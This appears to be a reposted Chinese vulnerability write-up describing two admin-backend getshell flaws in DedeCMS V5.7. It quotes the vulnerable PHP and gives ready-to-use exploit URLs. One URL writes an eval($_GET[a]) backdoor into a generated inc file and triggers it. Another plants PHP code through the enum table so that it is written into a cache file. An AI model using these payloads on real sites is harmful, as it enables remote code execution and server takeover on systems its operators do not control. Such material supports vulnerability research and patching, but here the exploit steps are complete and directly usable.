Dedecms V5.7后台的兩處getshell


在這個帖子里我把兩個洞一起寫出來。

第一個是常見的思路,把語句寫入inc文件,然后在其他的include語句中,包含了惡意代碼進而getshell。
漏洞代碼在:/dede/sys_verifies.php 代碼如下:

else if ($action == 'getfiles')
{  if(!isset($refiles))  {  ShowMsg("你沒進行任何操作!","sys_verifies.php");  exit();  }  $cacheFiles = DEDEDATA.'/modifytmp.inc';  $fp = fopen($cacheFiles, 'w');  fwrite($fp, '<'.'?php'."\r\n");  fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");  $dirs = array();  $i = -1;  $adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));  foreach($refiles as $filename)  {  $filename = substr($filename,3,strlen($filename)-3);  if(preg_match("#^dede/#i", $filename))  {  $curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );  } else {  $curdir = GetDirName($filename);  }  if( !isset($dirs[$curdir]) )  {  $dirs[$curdir] = TestIsFileDir($curdir);  }  $i++;  fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");  }  fwrite($fp, '$fileConut = '.$i.';'."\r\n");  fwrite($fp, '?'.'>');  fclose($fp);  $dirinfos = '';  if($i > -1)  {  $dirinfos = '<tr bgcolor="#ffffff"><td colspan="2">';  $dirinfos .= "本次升級需要在下面文件夾寫入更新文件,請注意文件夾是否有寫入權限:<br />\r\n";  foreach($dirs as $curdir)  {  $dirinfos .= $curdir['name']." 狀態:".($curdir['writeable'] ? "[√正常]" : "<font color='red'>[×不可寫]</font>")."<br />\r\n";  }  $dirinfos .= "</td></tr>\r\n";  }  $doneStr = "<iframe name='stafrm' src='sys_verifies.php?action=down&curfile=0' frameborder='0' id='stafrm' width='100%' height='100%'></iframe>\r\n";  include(DEDEADMIN.'/templets/sys_verifies_getfiles.htm');  exit(); } 

從這段代碼里,可以得知會在/data目錄下生成一個inc文件,並且這個inc文件的內容是我們可以控制的,因此只需要再找一個include了這個inc文件的地方,便可以完成攻擊。

全局搜索了下這個文件,發現就在同一個php文件的下面,因此利用條件就全部齊了,可以開始構造寫入的語句了。

觀察邏輯,代碼會先從url中獲取一個refiles參數,並且refiles作為數組參數,被寫入inc文件。而緊接的foreach語句其實重點就只是一個replace,只要繞過去就好了。最后的payload大概如下:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\%22;eval($_GET[a]);die();/


此時寫入shell成功,觸發shell:
http://localhost/dedecms/uploads/dede/sys_verifies.php?action=down&a=phpinfo();

 

任意代碼執行了

 

 

第二個的思路比第一個稍微繞一點,但也只是繞的有限。
漏洞代碼在/dede/sys_cache_up.php處 36行處:

else if($step == 2)
{  include_once(DEDEINC."/enums.func.php");  WriteEnumsCache();  //WriteAreaCache(); 已過期  ShowMsg("成功更新枚舉緩存,准備更新調用緩存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");  exit(); } 跟進WrtieEnumsCache(): function WriteEnumsCache($egroup='') {  global $dsql;  $egroups = array();  if($egroup=='') {  $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");  }  else {  $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup ");  }  $dsql->Execute('enum');  while($nrow = $dsql->GetArray('enum')) {  $egroups[] = $nrow['egroup'];  }  foreach($egroups as $egroup)  {  $cachefile = DEDEDATA.'/enums/'.$egroup.'.php';  $fp = fopen($cachefile,'w');  fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");  $dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC ");  $dsql->Execute('enum');  $issign = -1;  $tenum = false; //三級聯動標識  while($nrow = $dsql->GetArray('enum'))  {  fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n");  if($issign==-1) $issign = $nrow['issign'];  if($nrow['issign']==2) $tenum = true;  }  if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; ");  fwrite($fp,'?'.'>');  fclose($fp);  if(empty($issign)) WriteEnumsJs($egroup);  }  return '成功更新所有枚舉緩存!'; } 

可以看到有文件讀寫操作,但是文件內容是從數據庫取值的,因此需要先往數據庫里寫入內容,同時,因為沒有任何過濾,因此操作難度降低了許多。找到的寫數據庫的位置在:
dede/stepselect_main.php:

else if($action=='addenum_save')
{  if(empty($ename) || empty($egroup))  {  Showmsg("類別名稱或組名稱不能為空!","-1");  exit();  }  if($issign == 1 || $topvalue == 0)  $enames = explode(',', $ename);  foreach($enames as $ename){  $arr = $dsql->GetOne("SELECT * FROM `#@__sys_enum` WHERE egroup='$egroup' AND (evalue MOD 500)=0 ORDER BY disorder DESC ");  if(!is_array($arr)) $disorder = $evalue = ($issign==1 ? 1 : 500);  else $disorder = $evalue = $arr['disorder'] + ($issign==1 ? 1 : 500);  $dsql->ExecuteNoneQuery("INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); "); }  echo "INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); ";  die();  WriteEnumsCache($egroup);  ShowMsg("成功添加枚舉分類!".$dsql->GetError(), $ENV_GOBACK_URL);  exit();  } 

因此傳入如下url:
http://localhost/dedecms/uploads/dede/stepselect_main.php?action=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1
然后被寫入了數據庫,此時直接查詢,便可以寫入文件,寫文件url如下:
http://localhost/dedecms/uploads/dede/sys_cache_up.php?step=2&egroup=a=1;phpinfo();&dopost=ok


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM